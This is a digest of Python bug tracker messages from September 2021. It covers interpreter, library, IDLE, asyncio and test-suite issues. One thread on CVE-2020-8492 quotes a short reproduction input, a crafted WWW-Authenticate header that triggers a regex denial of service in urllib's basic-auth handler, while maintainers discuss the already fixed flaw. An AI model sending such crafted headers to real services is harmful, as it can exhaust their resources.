expr1: 1 .bit_length("aaa")
expr2: 1 \
    .bit_length("aaa")
expr3: 1 \
    .bit_length(*["aaa"])

Below is the __traceback__.tb_lineno of the error given when running each version of the expression. (kubuntu20.0.4, CPython (pyenv))
The line number and location shown in the error message also correspond to this.

in 3.6.14, 3,7,11
expr1: 0
expr2: 1
expr3: 1

in 3.8.11, 3.9.6
expr1: 0
expr2: 0
expr3: 0

in 3.10.0rc1, 3.11-dev(3.11.0a0)
expr1: 0
expr2: 1
expr3: 0

I think the results in 3.6.14 and 3.7.11 are correct.

----------
components: Interpreter Core
messages: 401748
nosy: nahco314
priority: normal
severity: normal
status: open
title: Error.__traceback__.tb_lineno is wrong
type: behavior
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:07:09 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 14 Sep 2021 05:07:09 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631554219.06.0.847255761234.issue45155@roundup.psfhosted.org>
Message-ID: <75C3CCAB-BC42-4995-8A08-4972C82A0F58@python.org>


Barry A. Warsaw  added the comment:

> I'd probably say "In the face of ambiguity, refuse the temptation to guess".
> 
> As there's disagreement about the 'correct' default, make it None and require either "big" or "little" if length > 1 (the default).

Jelle suggested that over in Discourse, and I?m not opposed, but it does mean that there?s no natural default for byteorder in int.from_bytes().

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:08:53 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 14 Sep 2021 05:08:53 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631565486.98.0.886822145255.issue45155@roundup.psfhosted.org>
Message-ID: <4BDF43A4-C918-4397-BF24-FAD6C107585F@python.org>


Barry A. Warsaw  added the comment:

On Sep 13, 2021, at 13:38, STINNER Victor  wrote:
> It seems like your proposal is mostly guided by: convert an int to a byte (bytes string of length 1). IMO this case is special enough to justify the usage of a different function.

Like bchr() ? 

> What if people expect int.to_bytes() always return a single byte, but then get two bytes by mistake?
> 
> ch = 256
> byte = ch.to_bytes()

The OverflowError you?ll get seems reasonable.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:09:31 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 14 Sep 2021 05:09:31 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631565577.29.0.318194496759.issue45155@roundup.psfhosted.org>
Message-ID: 


Barry A. Warsaw  added the comment:

On Sep 13, 2021, at 13:39, Vedran ?a?i?  wrote:
> 
> The poll is invalid, since the option that most people want is deliberately not offered.

*Is* there an option that most people want?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:12:39 2021
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 14 Sep 2021 05:12:39 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631596359.19.0.175695927291.issue45155@roundup.psfhosted.org>


Vedran ?a?i?  added the comment:

I'd say yes. Of course, one way to ascertain that would be to conduct a valid pool. ;-)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:15:40 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 14 Sep 2021 05:15:40 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631596359.19.0.175695927291.issue45155@roundup.psfhosted.org>
Message-ID: <955B9951-107E-4D94-B877-AF437646D75A@python.org>


Barry A. Warsaw  added the comment:

On Sep 13, 2021, at 22:12, Vedran ?a?i?  wrote:
> 
> 
> Vedran ?a?i?  added the comment:
> 
> I'd say yes. Of course, one way to ascertain that would be to conduct a valid pool. ;-)

People can always comment otherwise in the Discourse thread.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:44:04 2021
From: report at bugs.python.org (Kyungmin Lee)
Date: Tue, 14 Sep 2021 05:44:04 +0000
Subject: [issue45192] The tempfile._infer_return_type function cannot infer
 the type of os.PathLike objects.
Message-ID: <1631598244.07.0.518019074651.issue45192@roundup.psfhosted.org>


New submission from Kyungmin Lee :

The tempfile module has been updated to accept an object implementing os.PathLike protocol for path-related parameters as of Python 3.6 (e.g. dir parameter). An os.PathLike object represents a filesystem path as a str or bytes object (i.e. def __fspath__(self) -> Union[str, bytes]:). However, if an object implementing os.PathLike[bytes] is passed as a dir argument, a TypeError is raised. This bug occurs because the tempfile._infer_return_type function considers all objects other than bytes as str type.

----------
components: Library (Lib)
messages: 401754
nosy: rekyungmin
priority: normal
severity: normal
status: open
title: The tempfile._infer_return_type function cannot infer the type of os.PathLike objects.
type: behavior
versions: Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 01:50:24 2021
From: report at bugs.python.org (Kyungmin Lee)
Date: Tue, 14 Sep 2021 05:50:24 +0000
Subject: [issue45192] The tempfile._infer_return_type function cannot infer
 the type of os.PathLike objects.
In-Reply-To: <1631598244.07.0.518019074651.issue45192@roundup.psfhosted.org>
Message-ID: <1631598624.71.0.313930022774.issue45192@roundup.psfhosted.org>


Kyungmin Lee  added the comment:

for example:

```
from typing import Union


class FakePath:
    def __init__(self, path):
        self.path = path

    def __fspath__(self) -> Union[str, bytes]:
        return self.path


if __name__ == "__main__":
    from tempfile import TemporaryDirectory

    # You need to create `existing_path` directory

    with TemporaryDirectory(dir=FakePath("existing_path")) as str_path:
        print(str_path)  # 'existing_path/...'

    with TemporaryDirectory(dir=FakePath(b"existing_path")) as byte_path:
        print(byte_path)  # expected b'existing_path/...' but raised TypeError

```

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:05:55 2021
From: report at bugs.python.org (Kyungmin Lee)
Date: Tue, 14 Sep 2021 06:05:55 +0000
Subject: [issue45192] The tempfile._infer_return_type function cannot infer
 the type of os.PathLike objects.
In-Reply-To: <1631598244.07.0.518019074651.issue45192@roundup.psfhosted.org>
Message-ID: <1631599555.5.0.536177057692.issue45192@roundup.psfhosted.org>


Change by Kyungmin Lee :


----------
keywords: +patch
pull_requests: +26732
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28323

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:19:40 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:19:40 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631600380.27.0.577278790718.issue40128@roundup.psfhosted.org>


Tal Einat  added the comment:

Confirmed with python 3.9.7 installed via the "deadsnakes" apt repo on another Ubuntu 20.04 machine.

"Confirmed" meaning specifically that the completion window never appears, and commenting out that single line resolves the issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:25:49 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:25:49 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631600749.64.0.212603285055.issue40128@roundup.psfhosted.org>


Tal Einat  added the comment:

Note that _tkinter.TK_VERSION and _tkinter.TK_VERSION are simply "8.6", not enough to differentiate between patch versions. The best way to get this info appears to be tk.call("info", "patchlevel").

Specifically I suggest:

TK_VERSION = tuple(map(int, tk.call("info", "patchlevel").split(".")))

...

if (8, 6, 8) <= TK_VERSION < (8, 6, 10):
    ...

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:27:04 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 14 Sep 2021 06:27:04 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631600824.27.0.726526858955.issue45167@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
pull_requests: +26734
pull_request: https://github.com/python/cpython/pull/28324

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:29:20 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:29:20 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
Message-ID: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>


New submission from Tal Einat :

The completion window never appears with Python version 3.9.7 and with the current main branch.

Ubuntu 20.04 (reproduced on two separate machines)
Tested with Tcl/Tk versions 8.6.10 and 8.6.11.

This is directly caused by the fix for issue #40128. Commenting out that line resolves this issue entirely.

(See also the PR for that fix, PR GH-26672.)

----------
assignee: terry.reedy
components: IDLE
messages: 401758
nosy: taleinat, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: IDLE Show completions pop-up not working on Ubuntu Linux
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:30:19 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:30:19 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631601019.35.0.304298022862.issue40128@roundup.psfhosted.org>


Tal Einat  added the comment:

I've created a separate issue for the completion window not appearing on Linux, issue #45193. Let's move the discussion there.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:34:33 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:34:33 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631601273.67.0.92373212703.issue45193@roundup.psfhosted.org>


Tal Einat  added the comment:

I've also tested this on Windows 10 with the latest main branch (to be 3.11). The completions window works as expected with or without the recently added .update_idletasks() call.

I do recommend limiting this to macOS (platform.system() == "Darwin"). 

Ideally we'd test this on macOS with several versions of tcl/tk (8.6.8, 8.6.9, 8.6.10, 8.6.11) and limit it to only those versions where the fix is required:

TK_VERSION = tuple(map(int, tk.call("info", "patchlevel").split(".")))
if (8, 6, 8) <= TK_VERSION < (8, 6, 10):
    acw.update_idletasks()

Also we might check if calling .update() is enough, since that does less than .update_idletasks().

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:36:29 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:36:29 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631601389.87.0.728242642874.issue45193@roundup.psfhosted.org>


Change by Tal Einat :


----------
keywords: +patch
pull_requests: +26735
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/26039

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:38:16 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:38:16 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631601496.46.0.521961083806.issue45193@roundup.psfhosted.org>


Change by Tal Einat :


----------
pull_requests:  -26735

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:38:28 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 06:38:28 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631601508.79.0.826201942697.issue45193@roundup.psfhosted.org>


Change by Tal Einat :


----------
stage: patch review -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:46:00 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 06:46:00 +0000
Subject: [issue45189] Drop the "list_frozen" command from _test_embed.
In-Reply-To: <1631575373.13.0.588141988765.issue45189@roundup.psfhosted.org>
Message-ID: <1631601960.71.0.787210459996.issue45189@roundup.psfhosted.org>


STINNER Victor  added the comment:

imp._get_frozen_module_names() doesn't exist. I cannot see it in GH-28319. Moreover, the imp module is now deprecated. If something is added, it should be added to the private _imp module.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 02:57:28 2021
From: report at bugs.python.org (tongxiaoge)
Date: Tue, 14 Sep 2021 06:57:28 +0000
Subject: [issue39503] [security][CVE-2020-8492] Denial of service in
 urllib.request.AbstractBasicAuthHandler
In-Reply-To: <1580397089.41.0.564267118679.issue39503@roundup.psfhosted.org>
Message-ID: <1631602648.02.0.481380519596.issue39503@roundup.psfhosted.org>


tongxiaoge  added the comment:

https://github.com/python/cpython/blob/9f93018b69d72cb48d3444554261ae3b0ea00c93/Lib/urllib/request.py#L989
"headers" is a dict object? If so, the dict object does not seem to have no attribute "get_all".

----------
nosy: +sxt1001
versions: +Python 3.10, Python 3.11 -Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 04:49:39 2021
From: report at bugs.python.org (nahco314)
Date: Tue, 14 Sep 2021 08:49:39 +0000
Subject: [issue45191] Error.__traceback__.tb_lineno is wrong
In-Reply-To: <1631595400.46.0.316069984941.issue45191@roundup.psfhosted.org>
Message-ID: <1631609379.78.0.800172736774.issue45191@roundup.psfhosted.org>


Change by nahco314 :


----------
keywords: +patch
pull_requests: +26736
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28325

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 04:53:36 2021
From: report at bugs.python.org (Mark Shannon)
Date: Tue, 14 Sep 2021 08:53:36 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631609616.27.0.301408672157.issue45152@roundup.psfhosted.org>


Mark Shannon  added the comment:


New changeset c2f1e953371c25f6c42b599ba3d8797effbb503e by Irit Katriel in branch 'main':
bpo-45152: Add HAS_CONST macro and get_const_value() function and use? (#28262)
https://github.com/python/cpython/commit/c2f1e953371c25f6c42b599ba3d8797effbb503e


----------
nosy: +Mark.Shannon

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 05:09:13 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 14 Sep 2021 09:09:13 +0000
Subject: [issue45168] dis output for LOAD_CONST  is confusing
In-Reply-To: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>
Message-ID: <1631610553.16.0.0767146506357.issue45168@roundup.psfhosted.org>


Irit Katriel  added the comment:


New changeset c99fc4e53a60084df88ac5c69b3b13bc033677e1 by Irit Katriel in branch 'main':
bpo-45168: change dis output to omit missing values rather than replacing them by their index (GH-28313)
https://github.com/python/cpython/commit/c99fc4e53a60084df88ac5c69b3b13bc033677e1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 05:11:28 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 14 Sep 2021 09:11:28 +0000
Subject: [issue45168] dis output for LOAD_CONST  is confusing
In-Reply-To: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>
Message-ID: <1631610688.42.0.54463776586.issue45168@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:20:46 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 10:20:46 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631614846.14.0.819153899199.issue45156@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 7f60c9e1c6e22cc0e846a872c318570926cd3094 by Nikita Sobolev in branch 'main':
bpo-45156: Fixes inifite loop on unittest.mock.seal() (GH-28300)
https://github.com/python/cpython/commit/7f60c9e1c6e22cc0e846a872c318570926cd3094


----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:21:09 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 10:21:09 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631614869.48.0.624293645781.issue45156@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +26737
pull_request: https://github.com/python/cpython/pull/28326

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:21:52 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 10:21:52 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631614912.36.0.483053231572.issue45156@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26738
pull_request: https://github.com/python/cpython/pull/28327

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:23:50 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 10:23:50 +0000
Subject: [issue39503] [security][CVE-2020-8492] Denial of service in
 urllib.request.AbstractBasicAuthHandler
In-Reply-To: <1580397089.41.0.564267118679.issue39503@roundup.psfhosted.org>
Message-ID: <1631615030.58.0.0187760255638.issue39503@roundup.psfhosted.org>


STINNER Victor  added the comment:

> "headers" is a dict object? If so, the dict object does not seem to have no attribute "get_all".

No, it's not a dict object.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:24:35 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 10:24:35 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631615075.5.0.277513358412.issue45193@roundup.psfhosted.org>


Change by Tal Einat :


----------
pull_requests: +26739
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/28328

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:26:02 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 10:26:02 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631615162.12.0.314046904528.issue45193@roundup.psfhosted.org>


Tal Einat  added the comment:

See PR GH-28328 with proposed fix. It should be tested on macOS with several relevant versions of Tcl/Tk to ensure that the Tk version range used is correct.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:33:05 2021
From: report at bugs.python.org (tongxiaoge)
Date: Tue, 14 Sep 2021 10:33:05 +0000
Subject: [issue39503] [security][CVE-2020-8492] Denial of service in
 urllib.request.AbstractBasicAuthHandler
In-Reply-To: <1580397089.41.0.564267118679.issue39503@roundup.psfhosted.org>
Message-ID: <1631615585.75.0.683824903869.issue39503@roundup.psfhosted.org>


tongxiaoge  added the comment:

At the beginning of the issue, there is the following reproduction code:
from urllib.request import AbstractBasicAuthHandler
auth_handler = AbstractBasicAuthHandler()
auth_handler.http_error_auth_reqed(
    'www-authenticate',
    'unused',
    'unused',
    {
        'www-authenticate': 'Basic ' + ',' * 64 + ' ' + 'foo' + ' ' +
'realm'
    }
)

Here's the headers:

{
        'www-authenticate': 'Basic ' + ',' * 64 + ' ' + 'foo' + ' ' +
'realm'
 }

I think this is a dict object, so the current problem is fixed and no longer compatible with the previous usage?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:35:13 2021
From: report at bugs.python.org (QuadCorei8085)
Date: Tue, 14 Sep 2021 10:35:13 +0000
Subject: [issue45194] asyncio scheduler jitter
Message-ID: <1631615713.39.0.358857928244.issue45194@roundup.psfhosted.org>


New submission from QuadCorei8085 :

I'm trying to do something periodically and this would be on the millisec level precision.
However for some reason I could not achieve precise timing in a task.
Below example shows that a simple sleep randomly awakes with a jitter between 0.1-20.0ms I haven't hystogrammed the distribution but it seems to be mostly 19-20ms.

Any way to achieve better timings with asyncio?

async def test_task():
    while True:
        ts_now = time.time();
        await asyncio.sleep(1.000);
        print("{}".format((time.time()-ts_now)*1000.0));

if __name__ == "__main__":
    loop = asyncio.get_event_loop()
    loop.create_task(thread_main())
    loop.run_forever()

----------
components: asyncio
messages: 401769
nosy: QuadCorei8085, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: asyncio scheduler jitter
versions: Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:39:30 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 10:39:30 +0000
Subject: [issue39503] [security][CVE-2020-8492] Denial of service in
 urllib.request.AbstractBasicAuthHandler
In-Reply-To: <1580397089.41.0.564267118679.issue39503@roundup.psfhosted.org>
Message-ID: <1631615970.32.0.24664811496.issue39503@roundup.psfhosted.org>


STINNER Victor  added the comment:

This issue was a security vulnerability. It's now closed, please don't comment closed issues. If you consider that there is a regression, please open a new issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:40:09 2021
From: report at bugs.python.org (QuadCorei8085)
Date: Tue, 14 Sep 2021 10:40:09 +0000
Subject: [issue45194] asyncio scheduler jitter
In-Reply-To: <1631615713.39.0.358857928244.issue45194@roundup.psfhosted.org>
Message-ID: <1631616009.12.0.639841875641.issue45194@roundup.psfhosted.org>


QuadCorei8085  added the comment:

correction:
a) of course i meant loop.create_task(test_task())

b) when using threading the sleep returns every 1000ms when going lower 10-15ms is also spot on. (I wanted to use threading in my app but one library - websocket - is asyncio based thus i'm stuck with asyncio)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:45:00 2021
From: report at bugs.python.org (Andrew Svetlov)
Date: Tue, 14 Sep 2021 10:45:00 +0000
Subject: [issue45194] asyncio scheduler jitter
In-Reply-To: <1631615713.39.0.358857928244.issue45194@roundup.psfhosted.org>
Message-ID: <1631616300.17.0.304659931952.issue45194@roundup.psfhosted.org>


Andrew Svetlov  added the comment:

asyncio provides the preemptive concurrency, not the real-time one.
It means that the exact time of task switches depends on other tasks' execution and can vary by design.

Sorry, the jitter is unavoidable.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 06:50:31 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 10:50:31 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631616631.89.0.882080770517.issue45156@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 13257d9fca13dfa1bda5b802d68ddaec72f3a07e by Miss Islington (bot) in branch '3.9':
bpo-45156: Fixes inifite loop on unittest.mock.seal() (GH-28300)
https://github.com/python/cpython/commit/13257d9fca13dfa1bda5b802d68ddaec72f3a07e


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:00:21 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 11:00:21 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631617221.04.0.906004521895.issue45156@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset fd74d2680ef96c0140bc02cf94d1cf1f2ef814c2 by Miss Islington (bot) in branch '3.10':
bpo-45156: Fixes inifite loop on unittest.mock.seal() (GH-28300) (GH-28326)
https://github.com/python/cpython/commit/fd74d2680ef96c0140bc02cf94d1cf1f2ef814c2


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:14:01 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 11:14:01 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
Message-ID: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>


New submission from STINNER Victor :

aarch64 RHEL8 Refleaks 3.x:
https://buildbot.python.org/all/#/builders/551/builds/131

This issue looks like bpo-44949 which has been fixed by commit 6fb62b42f4db56ed5efe0ca4c1059049276c1083.

"\r\n" is missing at the end of the expected output.

=== logs ===

readline version: 0x700
readline runtime version: 0x700
readline library version: '7.0'
use libedit emulation? False

FAIL: test_nonascii (test.test_readline.TestReadline)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-aarch64.refleak/build/Lib/test/test_readline.py", line 258, in test_nonascii
    self.assertIn(b"history " + expected + b"\r\n", output)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AssertionError: b"history '[\\xefnserted]|t\\xebxt[after]'\r\n" not found in bytearray(b"^A^B^B^B^B^B^B^B\t\tx\t\r\n[\xc3\xafnserted]|t\xc3\xab[after]\x08\x08\x08\x08\x08\x08\x08text \'t\\xeb\'\r\nline \'[\\xefnserted]|t\\xeb[after]\'\r\nindexes 11 13\r\n\x07text \'t\\xeb\'\r\nline \'[\\xefnserted]|t\\xeb[after]\'\r\nindexes 11 13\r\nsubstitution \'t\\xeb\'\r\nmatches [\'t\\xebnt\', \'t\\xebxt\']\r\nx[after]\x08\x08\x08\x08\x08\x08\x08t[after]\x08\x08\x08\x08\x08\x08\x08\r\nresult \'[\\xefnserted]|t\\xebxt[after]\'\r\nhistory \'[\\xefnserted]|t\\xebxt[after]\'")


=== test.pythoninfo ===

readline._READLINE_LIBRARY_VERSION: 7.0
readline._READLINE_RUNTIME_VERSION: 0x700
readline._READLINE_VERSION: 0x700

platform.architecture: 64bit ELF
platform.libc_ver: glibc 2.28
platform.platform: Linux-4.18.0-305.12.1.el8_4.aarch64-aarch64-with-glibc2.28

os.environ[LANG]: en_US.UTF-8
locale.encoding: UTF-8
sys.filesystem_encoding: utf-8/surrogateescape
sys.stderr.encoding: utf-8/backslashreplace
sys.stdin.encoding: utf-8/strict
sys.stdout.encoding: utf-8/strict

----------
components: Tests
messages: 401775
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_readline: test_nonascii() failed on aarch64 RHEL8 Refleaks 3.x
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:16:41 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 11:16:41 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631618201.96.0.795691153446.issue45195@roundup.psfhosted.org>


Change by STINNER Victor :


----------
keywords: +patch
pull_requests: +26740
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28329

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:17:05 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 11:17:05 +0000
Subject: [issue44949] test_readline: test_auto_history_disabled() fails
 randomly on aarch64 RHEL8 Refleaks 3.9, 3.10 and 3.x
In-Reply-To: <1629299356.46.0.606067543476.issue44949@roundup.psfhosted.org>
Message-ID: <1631618225.83.0.517973867168.issue44949@roundup.psfhosted.org>


STINNER Victor  added the comment:

Similar issue in test_readline.test_nonascii(): bpo-45195.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:34:37 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 14 Sep 2021 11:34:37 +0000
Subject: [issue45185] test.test_ssl.TestEnumerations is not run
In-Reply-To: <1631564075.33.0.576511422146.issue45185@roundup.psfhosted.org>
Message-ID: <1631619277.44.0.296894333121.issue45185@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

Looks like `TestEnumerations` was never added to `tests` in `test_main`. https://github.com/python/cpython/commit/a02cb474f9c097c83cd444a47e9fb5f99b4aaf45#diff-d526ded1c360bed6b222de46f4ca92b834f978ebed992fb3189bf9a94a198578R4702

I will try to enable it and fix failures.

----------
nosy: +sobolevn

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 07:54:51 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 14 Sep 2021 11:54:51 +0000
Subject: [issue45185] test.test_ssl.TestEnumerations is not run
In-Reply-To: <1631564075.33.0.576511422146.issue45185@roundup.psfhosted.org>
Message-ID: <1631620491.44.0.270536567358.issue45185@roundup.psfhosted.org>


